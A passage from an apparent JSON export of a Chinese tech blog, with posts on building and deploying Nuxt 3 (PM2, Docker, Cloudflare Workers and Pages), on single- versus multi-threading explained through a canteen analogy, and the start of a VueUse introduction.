true，也就使用通用渲染 (Universal Rendering)。\n我們進入專案目錄，執行下列指令：\n1 2 3 npm run build # or # yarn run build 不需要在額外的配置或步驟，Nuxt 就會自動幫我們打包並建構出可以部署的網站。\n建構完成後會在專案目錄下多出一個 .output 目錄，public 就是在網站根目錄直接公開打包後的 JS、CSS 圖片等相關檔案。由於通用渲染使用 Nitro 作為服務引擎，所以會需要使用 Node.js 來啟動我們的服務，所以 server 則是會放置伺服器端的 Nitro、Server API 處理邏輯等。\n我們可以先在本地執行下列指令來預覽建構出來的網站與 Nitro 是否能運作正常。\n1 node .output/server/index.mjs 當確認沒問題後，就能以 .output 目錄進行網站部署。\n使用預渲染建置全靜態頁面網站 我們可以在 Nuxt 3 建構時期來進行預渲染 (pre-rendering)，將專案內需要打 API 請求及動態渲染元件的地方，先渲染生成出 HTML 網頁，這個過程也稱之為靜態網站生成 (Static Site Generation)，進而建構出全靜態頁面的網站。\n執行下列指令進行靜態頁面生成：\n1 2 3 npm run generate # or # yarn run generate generate 指令會觸發 build 的指令並帶有 prerender 為 true 的參數，最終會提示產生的目錄 .output/public 可以用來部署至靜態託管伺服器。\n當建構完成後，會在專案目錄下多出一個 .output 目錄同時也會有 dist 目錄，可以發現 .output/public 目錄內容與 dist 目錄相同。\n靜態頁面的生成因為 Nuxt 使用基於爬蟲的技術為每個頁面產生 HTML 與 Payload 檔案，可以發現產生的靜態頁面目錄結構，也對應著我們專案的路由頁面，而頁面元件資料夾內會由一個 index.html 與 _payload.js 組成。\n下圖所產生的結構，是因為我們的部落格資料庫內已經有三筆文章資料，/articles 頁面會取得所有的文章，並列出對應著 /articles/1、/articles/2 與 /articles/3 目錄，每個頁面內也都包含預先從 Server API 請求好的文章資料並存於 _payload.js 之中。\n至此我們就可以將 .output 目錄部署至伺服器或靜態託管服務，而且也不需要在使用 Node.js 伺服器來服務這些靜態檔案。\n手動設定預渲染的路由規則 我們使用 generate 指令所產生的全靜態頁面網站，是基於 Nuxt 的爬蟲技術來分析頁面，如同前個例子文章頁面的產生所描述，如果我們的資料庫存在著 200 筆資料，但 /articles 頁面所打的 API 總是只回傳最新的 10 筆，那麼那些沒有路由連結可以連結過去的文章頁面，就無法被 Nuxt 的爬蟲所分析到，也就無法產生對應的靜態頁面。\n為了解決這個問題，我們可以藉由配置 Nitro 的預渲染路由，來手動的設定哪些頁面要進行預渲染產生靜態頁面，或者忽略產生靜態頁面。\nnuxt.config.ts 1 2 3 4 5 6 7 8 9 export default defineNuxtConfig({ nitro: { prerender: { ignore: [], // 忽略特定路由不進行預渲染 routes: [], // 指定路由進行預渲染 crawlLinks: true // 啟用 Nuxt 爬蟲蒐集頁面連結來進行預渲染 } } }) 當然，也可以搭配 build 或 generate 指令做使用，但會稍微有些不一樣。\nbuild 例如：設置如下，並使用 npm run build 指令。\n1 2 3 4 5 6 7 export default defineNuxtConfig({ nitro: { prerender: { routes: [\u0026#39;/articles\u0026#39;, \u0026#39;/articles/2\u0026#39;] } } }) 那麼建構出來的通用渲染網站，就會包含部分頁面是已經預渲染好的靜態頁面。\ngenerate 當我們使用 generate 時，因為是進行全站的靜態頁面生成，所以基本上涵蓋了所有路由頁面，並且 nitro.prerender.crawlLinks 屬性預設為 true 會啟用 Nuxt 爬蟲來蒐集整的網站的路由頁面，進而開始預渲染產生靜態頁面。\n例如：設置如下，並使用 npm run generate 指令。\n1 2 3 4 5 6 7 8 9 export default defineNuxtConfig({ nitro: { prerender: { ignore: [\u0026#39;/login\u0026#39;, \u0026#39;/register\u0026#39;], routes: [\u0026#39;/articles/2\u0026#39;], crawlLinks: true } }, }) 那麼建構出來的 .output 目錄，就會因為設置了 nitro.prerender.ignore 而忽略 /login 與 /register 頁面的靜態生成 ，而 /articles/2 在網站中因為沒有任何頁面能連結到此，所以 Nuxy 爬蟲無法蒐集到，所以可以手動添加進 nitro.prerender.routes 之中。\n如果我們將 nitro.prerender.crawlLinks 屬性設為 false，那麼在產生靜態頁面的時候，就算 /articles 包含了所有文章的連結，Nuxt 爬蟲也就不會蒐集連結來產生靜態頁面，而是僅依照專案目錄下的 pages 所產生出的路由但不包含 [id].vue 這類動態匹配的路由來產生靜態頁面。\n建構僅在客戶端渲染的網站 同樣的使用部落格作為範例，來嘗試將 nuxt.config.ts 中 ssr 屬性設為 false，也就讓網站僅在客戶端渲染 (Client-side Only Rendering)。\n執行下列指令進行建構：\n1 2 3 npm run build # or # yarn run build 建構完成後，會在專案目錄下多出一個 .output 目錄，可以發現 public 目錄結構與通用渲染建構出的不大一樣，多出了像 Vue 專案建構完成後的 index.html 檔案，來作為顯示的容器。\n這邊比較需要留意的地方是，當我們將 ssr 屬性設為 false，也還是會在 .output 建構出 server 目錄，也擁有著 .output/server/index.mjs。\n那這不就意謂著我還是得有 Node.js 服務才能部署嗎？其實你可以這麼理解，當我們設定 Nuxt 僅在客戶端進行渲染，但 Nuxt 專案中仍然可能有 Server API，這個屬於伺服器端的 API，總不可能一同打包至前端去做架設吧！所以使用 npm run build 建構出來的專案，都會使用 Nitro 引擎來啟動服務，若有 Server API 的處理邏輯，則會連帶打包進 .output/server 目錄之下。\n如果你確定 Nuxt 的專案內沒有自己實作的 Server API，全部是依賴非專案內的 Server API，那麼你可以直接將 public 目錄，視為 Vue 建構出的 dist 目錄來進行部署，因為選擇不再需要 Nitro 引擎來為我們提供 Web Server 的服務，且專案內的前端也都打包完在 public 下可以視為 SPA 網站。\n整理這些排列建構參數的組合 相信看到這裡，可能對建構與產生靜態頁面有一點混亂了，這邊稍微整理了一下，大家可以再依據需求來啟用相對應的配置：\nnpm run build + ssr: true build + ssr: true Nuxt 3 預設的建構參數，使用通用渲染 (Universal Rendering) 模式。\nbuild + ssr: true + nitro.prerender.crawlLinks: true 使用通用渲染模式，頁面中需要打 API 動態產生的連結而被 Nuxt 爬蟲所蒐集到的頁面將被預渲染成靜態頁面。\nbuild + ssr: true + nitro.prerender.routes + nitro.prerender.crawlLinks: false 使用通用渲染模式，但指定頁面預渲染成靜態頁面。\nnpm run build + ssr: false build + ssr: false 僅在客戶端渲染 (Client-side Only Rendering) 的模式，部署時同樣需要使用 server 中的 index.mjs 來啟動 Nitro 伺服器，這樣才能正確的運作 Server API；除非確認專案內完全無依賴專案內的 Server API，則可以直接將 .output/public 視為 Vue 的 dist 目錄進行部署。\nnpm run generate + ssr: true generate + ssr: true 使用預渲染產生靜態頁面，預設產生全站靜態頁面，generate 下 nitro.prerender.crawlLinks 屬性預設變為 true，整個網站包含 Nuxt 爬蟲所蒐集到的頁面將被預渲染成靜態頁面。\ngenerate + ssr: true + nitro.prerender.ignore 使用 generate 已經包含整個網站，如果想要忽略某些頁面進行預渲染，可以添加路由至 nitro.prerender.ignore 中。但是需要注意，這些被忽略的頁面如果有使用專案內的 Server API 需求，可能就無法正確的在靜態託管平台運作，而外部的倒是不受影響。\ngenerate + ssr: true + nitro.prerender.routes 雖然使用 generate 已經包含整個網站，但 Nuxt 爬蟲所蒐集到的頁面僅為頁面中產生的，如果連結不存在這些頁面內，只能直接從瀏覽器網址列輸入進入，那麼我們可以將路由添加至 nitro.prerender.routes 來額外補充需要預渲染的頁面。\ngenerate + ssr: true + nitro.prerender.routes + nitro.prerender.crawlLinks: false 同樣會產生全站靜態頁面，但不使用 Nuxt 爬蟲所蒐集到的連結頁面，所以這些動態匹配或需要打 API 獲取資料再渲染的頁面，將不會是靜態頁面，因此也需要注意，如果這些頁面有使用專案內的 Server API 需求，可能就無法正確的在靜態託管平台運作，而外部的倒是不受影響。\n其它跟建構有關的參數屬性可以再參考官方文件、Vite 與 webpack 建構工具也都能額外設定參數屬性。\nNuxt 的建構指令 build 與產生靜態頁面的 generate 指令，讓我們可以依據不同的情境來決定渲染模式與預渲染的頁面，最終產生的 .output 目錄也會有不一樣的結構。預渲染的頁面與單純的 SPA 也要注意使否有使用到 Nuxt 專案建立的 Server API，再決定是否需要 Nitro 伺服器來啟動正式環境的網站服務。當一切就緒之後最後就能將輸出的目錄打包進行部署。\n就剩最後一步了 - 部署 (Deployment) Nuxt 3 的專案應用程式，可以部署在 Node.js 的伺服器上面，也可以將預渲染的靜態網站由靜態託管平台來服務，或這部署至無伺服器 (serverless) 或 CDN 環境上。\n使用 Node.js 伺服器 Nuxt 3 的專案預設使用 Nitro 來作為服務引擎，所以我們在任何 Node.js 伺服器環境之下，基本上都可以啟動 Nuxt 建置出來的 Nitro Server。\n當我們使用 npm run build 建構專案後，輸出的 .output/server/index.mjs 檔案，即是一個準備啟動 Node 伺服器的入口點。\n我們可以透過下列指令來啟動我們建構好的專案。\n1 node .output/server/index.mjs 執行後如下面圖示顯示，網站將於 Prot: 3000 進行服務監聽。\n你可以設定下列環境變數來調整預設監聽的 Port 或 Host。\nNITRO_PORT 或 PORT：監聽的 Port (預設為 3000) NITRO_HOST 或 HOST：服務的 Host (沒有預設值，但預設監聽所有的網路介面包含 IPv4 與 IPv6 的位址 ) NITRO_SSL_CERT 與 NITRO_SSL_KEY：如果兩者皆設定，將以 HTTPS 模式下啟動伺服器，通常僅作為測試用途，因為建議將 SSL 憑證等設定於提供反向代理的服務，例如 NGINX 或 CloudFlare，Nitro 伺服器則執行在反向代理後面。 部署時，你可以將整個 .output 上傳至正式環境的機器上，並使用 Node.js 做執行，但為了防止我們的服務因為異常，導致 Node.js 服務意外崩潰，我們需要一個 Process 的 Daemon，來將服務常駐，意外崩潰時能自動重啟，來維持整個網站的正常服務。\n通常我們會在正式環境使用 PM2 來管理 Node.js 的服務，PM2 是維持一個 Process 執行的管理器，我們可以藉由 PM2 來啟動我們的 Nitro Server，當服務崩潰時能自動的重新啟動，以維持服務的正常運作，除此之外 PM2 可以啟用叢集 (Cluster) 的功能結合請求的附載平衡，來讓多核心的機器提升資源的利用率與效能，更還有監測多項數據等功能可供正式環境做使用。\n使用 PM2 使用的方式也很簡單，首先使用 NPM 安裝 PM2，可以執行下列指令：\n1 npm install -g pm2 在 Nuxt 專案目錄下建立 ecosystem.config.js 檔案，內容如下：\necosystem.config.js 1 2 3 4 5 6 7 8 9 10 module.exports = { apps: [ { name: \u0026#39;NuxtAppName\u0026#39;, exec_mode: \u0026#39;cluster\u0026#39;, instances: \u0026#39;max\u0026#39;, script: \u0026#39;./.output/server/index.mjs\u0026#39; } ] } 接著我們就能使用 PM2 來執行我們的服務：\n1 pm2 start ecosystem.config.js 你也可以在 ecosystem.config.js 中添加環境變數。\necosystem.config.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 module.exports = { apps: [ { name: \u0026#39;NuxtAppName\u0026#39;, exec_mode: \u0026#39;cluster\u0026#39;, instances: \u0026#39;max\u0026#39;, script: \u0026#39;./.output/server/index.mjs\u0026#39;, env: { NITRO_PORT: 3001, NITRO_HOST: \u0026#39;127.0.0.1\u0026#39; } } ] } 製作 Docker Image 目前使用 Docker 來部署服務的也不在少數，個人也是採用容器化來啟動網站服務並整合 CI/CD 自動化的流程來建構與部署 Nuxt 3 專案，以下將列出自己使用的 Dockerfile，有興趣的可以再參考看看。\n專案目錄下建立 Dockerfile 檔案，內容如下：\nDockerfile 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 FROM node:16-alpine AS builder RUN mkdir -p /nuxt-app WORKDIR /nuxt-app COPY . . RUN npm ci \u0026amp;\u0026amp; npm cache clean --force RUN npm run build FROM keymetrics/pm2:16-alpine RUN mkdir -p /nuxt-app/.output WORKDIR /nuxt-app/.output COPY --from=builder /nuxt-app/.output . COPY ./ecosystem.config.js /nuxt-app ENV NUXT_HOST=0.0.0.0 ENV NUXT_PORT=3000 EXPOSE 3000 ENTRYPOINT [\u0026#34;pm2-runtime\u0026#34;, \u0026#34;start\u0026#34;, \u0026#34;/nuxt-app/ecosystem.config.js\u0026#34;] 打開終端機 (Terminal)，並於專案目錄下執行下列指令：\n1 docker build -t nuxt-app . 當開始製作 Docker Image 時，會依照 Dockerfile 來建置，主要分成兩個部分，首先我會先在 node:16-alpine 容器環境中執行建構 (build) 的指令，並將需要部署的目錄 .output 複製至 keymetrics/pm2:16-alpine 容器環境中，這樣最終使用 PM2 執行服務的 Image 大小就會稍微小一些。\n當 Docker Image 製作完畢後，可以再藉由 docker run 或 docker compose 甚至 k8s 來啟動服務後，再由如 NGINX 提供反向代理服務連接到內部的 Nitro Server。\n部署至 CloudFlare Workers 我們也可以將 Nuxt 部署到無伺服器 (Serverless) 的環境，官方提供了多種的預設部署可以做使用，我們就簡單以一個乾淨的 Nuxt 3 專案來做範例，嘗試部署到 CloudFlare Workers。\n首先，我們先準備一個 Nuxt 3 專案，在此我使用下列指令建立一個乾淨的 Nuxt 3 專案，並進入專案目錄安裝套件：\n1 2 3 npx nuxi init nuxt-app cd nuxt-app npm install 使用 NPM 安裝 wrangler，它是用於建構 Cloudflare Workers 的命令列工具 (command line tool)。\n1 npm install -g wrangler 你可能需要註冊一個 CloudFlare 的帳號，並使用下列指令來登入 CloudFlare 帳號並授權 Wrangler 來建立 CloudFlare Workers，我們選擇允許 (Allow) 即可。\n1 wrangler login 於專案目錄下建立 wrangler.toml 內容如下：\nwrangler.toml 1 2 3 4 5 6 7 name = \u0026#34;nuxt-app-hello\u0026#34; main = \u0026#34;./.output/server/index.mjs\u0026#34; workers_dev = true compatibility_date = \u0026#34;2022-10-15\u0026#34; [site] bucket = \u0026#34;.output/public\u0026#34; 我們將 NITRO_PRESET 環境變數，設置為 cloudflare 並開始建構我們的專案。\n1 NITRO_PRESET=cloudflare npm run build 接下來，可以選擇執行終端機提示的指令來啟動伺服器進行相關測試。\n1 npx wrangler dev .output/server/index.mjs --site .output/public --local 當確認專案服務運作上沒問題後，可以執行下列指令進行發布。\n1 npx wrangler publish 完成發布後，就會提示我們發布完成及服務的網址，例如 https://nuxt-app-hello.ryanchien8125.workers.dev，我們就可以瀏覽我們部署好的網站囉。\n靜態的網站部署至 CloudFlare Pages 我們使用 Nuxt 3 可以預渲染全靜態的網站，因此也可以將專案部署至靜態託管平台，以 CloudFlare Pages 為例，部署的步驟如下：\n首先，先執行下列指令進行全站的預渲染：\n1 2 3 npm run generate # or # yarn run generate 使用 NPM 安裝 wrangler。\n1 npm install -g wrangler 你可能需要註冊一個 CloudFlare 的帳號，並使用下列指令來登入 CloudFlare 帳號並授權 Wrangler，我們選擇允許 (Allow) 即可。\n1 wrangler login 建立一個 CloudFlare Pages 名為 nuxt-app-blog。\n1 wrangler pages project create nuxt-app-blog 使用下列指令，將預渲染的網站目錄進行部署，並指定專案名稱為 nuxt-app-blog：\n1 wrangler pages publish ./.output/public --project-name nuxt-app-blog 當部署完成後，就會得到一個連結來查看部署的靜態網頁，你也可以從 CloudFlare Pages 後台，看見網站網址的別名 Aliases 來使用自訂的網址。\n以上是介紹 Nuxt 3 的幾個部署方式的例子，更多雲端平台上面的部署，也可以參考 Nuxt 與 Nitro 官方文件。\n上線前的測試項目 最後與大家分享一下網站專案上線前的幾個我會特別注意的幾個小細節，也歡迎大家一起來交流。\n前端細節 網頁的標題 (Title) 使用之資源授權 (使用權、智財權) 圖片替代文字 Favicon HTML Meta data Google Analytics 瀏覽器相容性測試 RWD 跨瀏覽器 BrowserStack Comparium TestingBot API 測試 單元測試 不同場景測試 (測試環境、正式環境) 效能測試 JMeter k6 安全性測試 壓力測試 模擬使用者或連線數 觀察機器資源使用量 資料庫連線數觀察 持續提高模擬數量觀察分析 分析每個請求於併發的平均響應時間 是否請求中夾雜非預期之狀態碼 (HTTP Status Code) API 或網站安全性 參考 OWASP Top 10 SQL 參數化查詢 資安公司滲透測試、紅隊演練 開發或除錯用的訊息 警告訊息或異常訊息移除（console.log 或警告訊息等） JavaScript Source Maps 記得移除 敏感資訊記得移除 (開發用 Key、帳號密碼等) 網站相依性檢查 使用到第三方網站資源及穩定性 檢查所有網址皆能正常運作 當第三方網站異常時應對措施 部署相關 是否有高可用性 (HA) Docker 或 Kubernetes 整合 網域時效 SSL 證書日期 防火牆或 WAF 設定 內網或外網區隔 備份機制 靜態有狀態資料 (使用者上傳的) 資料庫資料 這邊主要與大家分享幾種 Nuxt 的部署方式，不管是部署在自己的機房主機或雲端，大家可以在挑選合適的解決方案，Nitro 也支援無伺服器 (Serverless) 等部署方式非常的方便，只是要特別注意到 Serverless 執行一些 binary 的問題，再挑選自己適合的部署與服務方式。\n經過本篇文章，大家應該都對於 Nuxt 3 有初步的理解，接下來下一篇文章我們將會進入實戰練習，將會以 Nuxt 3 來實作一個部落格網站！\n","date":"2023-01-14T00:00:00Z","image":"https://live.staticflickr.com/65535/52616698791_b7b8bbce05_o.jpg","permalink":"https://blog.wayne-project.com/2023-01-14/nuxt-try-nuxt3/","title":"【Nuxt3】開箱即用的 Nuxt3 玩轉筆記"},{"content":" 參考網站\n參考網站\n以生活例子說明單線程與多線程。\n程序設計的目標 在我看來單從程序的角度來看，一個好的程序的目標應該是性能與用戶體驗的平衡。當然一個程序是否能夠滿足用戶的需求暫且不談，這是業務層面的問題，我們僅僅討論程序本身。圍繞兩點來展開，性能與用戶體驗。\n性能：高性能的程序應該可以等同於CPU的利用率，CPU的利用率越高(一直在工作，沒有閒下來的時候)，程序的性能越高。 體驗：這裏的體驗不只是界面多麼漂亮，功能多麼順手，這裏的體驗指程序的響應速度，響應速度越快，用戶體驗越好。 下面我們就這兩點進行各種模型的討論。\n單線程多任務無阻塞 以生活中食堂打飯的場景作爲比喻，假設有這樣的場景，小A，小B，小C 在窗口依次排隊打飯。\n假設窗口負責打飯的阿姨打一個菜需要耗時1秒。如果小A需要2個菜，小B需要3個菜，小C需要2個菜。如下：\n阿姨(CPU)：打一個菜需要1秒 小A：2個菜 小B：3個菜 小C：2個菜 那麼在這種模型下將所有服務做完阿姨需要耗時 2 + 3 + 2 = 7秒\n阿姨 = CPU，小A、小B、小C = 任務(這裏是以任務爲概念，表示需要做一些事情)\n這種模型下CPU是滿負荷不間斷運轉的，沒有空閒，用戶體驗還不錯。\n這種程序中每個任務的耗時都比較小，是非常理想的狀態，一般情況下基本不太可能存在。\n單線程多任務IO阻塞 將上面的場景稍微做改動：\n阿姨：打一個菜需要1秒 小A：2個菜，但是忘記帶錢了，要找同學送過來，估計需要等5分鐘可以送到(可以理解爲磁盤IO) 小B：3個菜 小C：2個菜 這種情況下小A這裏發生了阻塞，實際上小A這裏耗費了5分鐘也就是 300秒 + 2個菜的時間，也就是302秒，而CPU則空閒了300秒，實際上工作2秒。\n所有服務做完花費 302 + 3 + 2 = 307秒，CPU實際工作7秒，等待300秒。極大浪費了CPU的時鐘週期。\n用戶體驗很差，因爲小A阻塞的時候，後面的所有人都等着，而實際上此時CPU空閒。所以單線程中不要有阻塞出現。\n單線程多任務異步IO 還是上面的模型，加入一個角色：值日生小哥，他負責事先詢問每一個人是否帶錢了，如果帶錢了則允許打菜，否則把錢準備好了再說。\n值日生小哥問小A準備好打菜了嗎，小A說忘帶錢了，值日生小哥說，你把錢準備好了再說，小A開始準備(需要300秒，從此刻開始記時)。 值日生小哥問小B準備好打菜了嗎，小B說可以了，阿姨服務小B，耗時3秒。 值日生小哥問小C準備好打菜了嗎，小C說可以了，阿姨服務小C，耗時2秒。 值日生小哥問小A準備好了沒有，小A說還要等一會，阿姨由於沒有人過來服務，處於空閒狀態。 300秒之後，小A準備好了，阿姨服務小A，耗時2秒。 整個過程做完耗時 300 + 2 = 302秒，CPU工作7秒，空閒295秒。\n值日生小哥相當於select模型中的select功能，負責輪詢任務是否可以工作，如果可以則直接工作，否則繼續輪詢。\n在小A阻塞的300秒裏面，阿姨(CPU)沒有傻等，而是在服務後面的人，也就是小B和小C，所以這裏與模型3不同的是，這裏有5秒CPU是工作的。\n如果打飯的人越多，這種模型CPU的利用率越高，例如如果有小D，小E，小F\u0026hellip;等需要服務，CPU可以在小A阻塞的300秒期間內繼續服務其他人。實際上值日生小哥輪詢也會耗時，這個耗時是很少的，幾乎可以忽略不計，但是如果任務非常多，這個輪詢還是會影響性能的，但是epoll模型已經不使用輪詢的方式，相當於A，B，C會主動跟值日生小哥報告，說我準備好了，可以直接打菜了。\n這種模式下用戶體驗好，CPU利用率高(任務越多利用率越高)\n單線程多任務，有耗時計算 回到最開始的模型，如下：\n阿姨：打一個菜需要1秒 小A：200個菜 小B：3個菜 小C：2個菜 順序做完所有任務，需要耗時 200 + 3 + 2 = 205秒，CPU無空閒，但是用戶體驗卻不是很好，因爲顯然後面的 B、C 需要等待小A 200秒的時間，這種情況下是沒有IO阻塞的，但是任務A本身太耗CPU了，所以說如果單線程出現了耗時的操作，一定會影響體驗(IO操作或者是耗時的計算都屬於耗時的操作，都會導致阻塞，但是這兩種導致阻塞的性質是不一樣的)。\n在所有的單線程模型中都不允許出現阻塞的情況，如果出現，那麼用戶體驗是極差的，例如在UI編程中(QT、C# Winform)是不允許在UI線程中做耗時的操作的，否則會導致UI界面無響應。 編寫Nodejs程序的時候，我們所寫的代碼實際上是在一個線程中執行的，所以也不允許有阻塞的操作(當然整個Nodejs框架實現異步，一定不止一個線程)。\n出現阻塞的情況一般有2種，一種是IO阻塞，例如典型的如磁盤操作，這種情況下的阻塞會導致CPU空閒等待(當然現代操作系統中如果IO阻塞，操作系統一定會將導致IO阻塞的線程掛起)。這種阻塞的情況，可以通過異步IO的方法避免，這樣就避免程序中僅有的單線程被操作系統掛起。另一種情況下是確實有非常多的計算操作，例如一個複雜的加密算法，確實需要消耗非常多的CPU時間，這種情況下CPU並不是空閒的，反而是全負荷工作的。\n這種CPU密集的工作不適合放在單線程中，雖然CPU的利用率很高，但是用戶體驗並不是很好。這種情況下使用多線程反而會更好，例如如果3個任務，每個任務都在一個線程中，也就是有3個線程，A任務在ThreadA中，B任務在ThreadB中，C任務在ThreadC中，那麼即使A任務的計算量比較大，B，C兩個任務所在的線程也不必等待A任務完成之後再工作，他們也有機會得到調度，這是由操作系統來完成的。這樣就不會因爲某一個任務計算量大，而導致阻塞其他任務而影響體驗了。\n多線程程序 我們將上面的模型改造成多線程的模型是怎樣的呢，我們在模型5的基礎上添加一個角色，管理員大叔(操作系統的角色)：\n阿姨：打一個菜需要1秒 小A：200個菜 小B：3個菜 小C：2個菜 加入管理員大叔之後變成這樣的了，小A打兩個菜之後，大叔說，你打的菜太多了，不能因爲你要打200個菜，讓後面的同學都沒有機會打菜，你打兩個菜之後等一會，讓後面的同學也有機會。\n大叔讓小B打兩個菜，然後讓小C打兩個菜(小C完成)，然後再讓小A打兩個菜(完成之後小A總共就有4個菜了)，再讓小B打1個菜(此時小B總共打3個菜，完成)，然後小A打剩下的196個菜。\nCPU的利用率：很高，阿姨在不斷的工作。\n用戶體驗：不錯，即使小A要打200個菜，小B，小C也有機會；當然如果小A說我是幫校長打菜，要快一點(線程優先級高)，那也只能先把小A服務完。\n總耗時： 200 + 3 + 2 + (大叔指揮安排所消耗的時間，包括從小C切換回小A的時候，大叔要知道小A上次打的菜是哪兩個，這次應該接着打什麼菜，這相當於線程上下文切換的開銷以及線程環境的保存與恢復)，所以並不是線程越多越好，線程非常多的時候大叔估計會焦頭爛額吧，要記住這麼狀態，切換來切換去也耗時間。\n這種模型下實際上是將小A的耗時任務，分成多份去執行而不是集中執行，所以小A要完成他的任務，可能需要更多的時間(期間他也需要等別人，阿姨不會一直爲他一個人服務，但是阿姨爲他服務的時間是沒有變化的)，這種其實有點以時間換取用戶體驗(小B和小Ｃ的體驗，小Ａ的體驗可能就不會那麼好了，但是小Ａ本來也非常耗時，所以多等一會是不是也沒關係)。\n那麼IO阻塞和CPU計算耗時阻塞這兩者有什麼區別呢？\n區別在於IO阻塞是不使用CPU的，而CPU計算耗時導致的阻塞是會使用CPU的。\n例如上面的例子中，小A說忘記帶錢了需要同學送錢，於是小A等着同學送錢過來，這個過程中阿姨並沒有爲小A提供服務，這個過程中爲小A提供服務的是他的同學(送錢過來)，實際上小A的同學相當於現代計算機系統中的DMA(直接內存操作)，小A同學送錢的過程相當於DMA從磁盤讀取數據到內存的過程，這個過程基本不需要CPU干預。\n當然在DMA技術還沒有出現的年代，從磁盤讀取文件也是需要CPU發送指令去讀取的，也就是說需要CPU的計算，應用到這裏的場景中，就是阿姨親自跑一趟幫小A把錢拿過來。\n多CPU 多CPU是一個更加複雜的問題，多CPU如何調度？小A在第一個窗口打兩個菜，又跑到第二個窗口打兩個菜這種情況如何處理？\n小A在第一個窗口，小B在第二個窗口他們要同一個菜，但是這個菜只夠一個人，那麼兩個窗口阿姨如何分配這種需求(實際上應該是由操作系統也就是管理員大叔來決定如何分配，也就是多核下的線程同步與互斥)？\n多核CPU情況下，多線程的調度、互斥、鎖與同步相對來講更加複雜，多核情況下是真正的並行，同一時刻有多個線程在同時運行，他們的競爭怎麼處理，多個CPU之間如何同步(多CPU之間的緩存狀態一致性)等等一系列的問題。\n多線程與多進程 上面描述的多線程實際上是討論的是多線程的調度問題，這裏我們說一說多線程與多進程與資源的分配問題。什麼意思呢，一群人(多個線程)在一個桌子(進程)上吃飯，他們會涉及到一些問題，比如多個人可能會夾一個菜(競爭)，A和B同時看到盤子裏面有一塊肉，同時伸出筷子去夾，A先夾走，B遲了一點伸到盤子的時候已經沒了，只能縮回來(臨界資源，互斥)，有一個點心需要用饃夾肉一起吃。A夾了肉，B夾了饃，A需要B的饃，B需要A的肉，他們僵持不下誰都不讓步(死鎖)。\n多線程之間的資源共享是非常方便的，因爲他們共用進程的資源空間(在一個桌子上)，但是需要注意一系列的問題：競爭、死鎖、同步\u0026hellip;等。如果在旁邊再開一個桌子(進程)。 那麼桌子之間講話，遞東西又不方便(進程間通信)，而開一個桌子的開銷比在一個桌子上多加一個人的開銷要大。另外一個桌子上的人數不可能無限制增加，桌子的容量有限也坐不下這麼多人(進程的線程句柄是有限制的)。一個桌子壞了不會影響到另一個桌子上面人的就餐情況(進程間相互DuLi，一個進程崩潰不會影響另一個)，而一個桌子上的某人喝掛了需要送醫院，估計這一桌人都要散了(線程掛掉會導致整個進程也掛掉)。所以多線程與多進程是各有優缺點，不能一概而論。\n總結 單線程程序：適合IO異步，不能阻塞，不能有大量耗CPU的計算，典型如Nodejs，還有一些網絡程序。\n","date":"2023-01-07T00:00:00Z","image":"https://live.staticflickr.com/65535/52611539777_c564013cbd_o.png","permalink":"https://blog.wayne-project.com/2023-01-07/single-multi-thread/","title":"以生活的例子說明單線程和多線程"},{"content":" 參考網站\n參考網站\nVueUse 是什麼？ VueUse 作者為 Anthony Fu，是一款基於 Vue 組合式 API (Composition API) 的函數工具集，其中 VueUse 主要特色可以分為以下幾點：\nVue 2 和 Vue 3 都支援 採取 Tree Shaking 結構，只會打包引入的程式碼 支持各種套件 可配置事件過濾器和目標 以上是官方網站關於它的定義。\n首先，它基於 Vue Composition API (組合式API)，只有在支持組合式 API 的環境下，才可以正常使用它。\n什麼是組合式 API？\n然後，它是一款函數工具集(可類比為 lodash.js / ramda.js)\n簡單來說，這是一個能讓你更早下班的工具庫。\nVueUse 開源嗎？現狀如何？ 當然開源！ github/vueuse\n社區活躍度：社區非常活躍，截止 2021 年 11 月，一直有 mr 被合入主線。\n被引用情況：截止 2021 年 11 月 13 日，npm 上可查詢到依賴它的庫就有 172 個，其中包括著名UI庫：Element-Plus\nVue 的著名開源作者 Evan You 也是此庫的金牌贊助商。\n安裝 VueUse NPM 或 YARN：\n1 2 3 npm i @vueuse/core # or yarn add @vueuse/core CDN 引入：\n這邊注意 shared 一定要在前面\n1 2 \u0026lt;script src=\u0026#34;https://unpkg.com/@vueuse/shared\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/@vueuse/core\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 注：VueUse 借助 vue-demi 的強大功能，可以在一個包中同時適用於 Vue 2、3！\nVue 3 Demo\n使用 Vite 使用 Webpack Vue 2 Demo (Vue CLI)\n使用 Vue CLI 另外，要注意庫的版本：\n從 v6.0 版本起，vue3 需要 vue \u0026gt;= v3.2，vue2 需要依賴 @vue/composition-api：@vue/composition \u0026gt;= v1.1。\nVueUse 能做什麼？ 能做的那可太多了，但總體上分為以下幾個類別提供工具函數：\nAnimation 動畫 Browser 瀏覽器 Component 組件 Formatters 格式化 Sensors 傳感器 State 狀態機 Utility 實用方法 Watch 監聽 Misc 各式各樣的雜項 這麼列了一遍，估計你還是很懵，但因為方法實在太多，也不可能一個個都列出來。\n那我就舉幾個有代表性的例子，帶你快速理解這些方法大概是做什麼的，有什麼特點。\n例子(一)：useMouse 1 2 3 4 5 6 7 8 9 \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;Mouse: {{x}} x {{y}}\u0026lt;/h3\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup lang=\u0026#34;ts\u0026#34;\u0026gt; import { useMouse } from \u0026#39;@vueuse/core\u0026#39; const { x, y } = useMouse() \u0026lt;/script\u0026gt; 效果：\nWooooow~~~ 這可太簡單易用了！\n經過源碼閱讀，我們可以發現，這短短的一個方法，至少做了以下這些事：\n創建了 x 和 y 這兩個響應式對象(Ref) 給 window 添加了鼠標事件監聽，將鼠標的坐標實時賦給 x、y (並且還做了移動端兼容) 如果這些邏輯放到頁面裡，至少需要 6 行代碼，這些代碼後期都會增加維護人員理解頁面的成本，而現在，你只需要一行代碼。\n除此之外，該方法還有組件式用法，適合更熱愛標籤的盆友\n1 2 3 4 \u0026lt;UseMouse v-slot=\u0026#34;{ x, y }\u0026#34;\u0026gt; x: {{ x }} y: {{ y }} \u0026lt;/UseMouse\u0026gt; 例子(二)：useInterval 顧名思義，這個方法是對延时重複調用能力的封裝。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 